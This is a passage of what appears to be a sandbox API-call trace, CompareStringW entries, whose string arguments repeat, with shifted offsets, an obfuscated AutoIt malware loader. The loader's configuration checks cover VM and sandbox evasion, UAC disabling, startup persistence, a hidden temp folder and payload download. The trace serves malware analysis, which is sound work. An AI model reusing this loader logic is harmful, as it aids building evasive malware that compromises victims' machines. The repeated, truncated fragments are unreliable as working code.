Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Global Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="obal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' 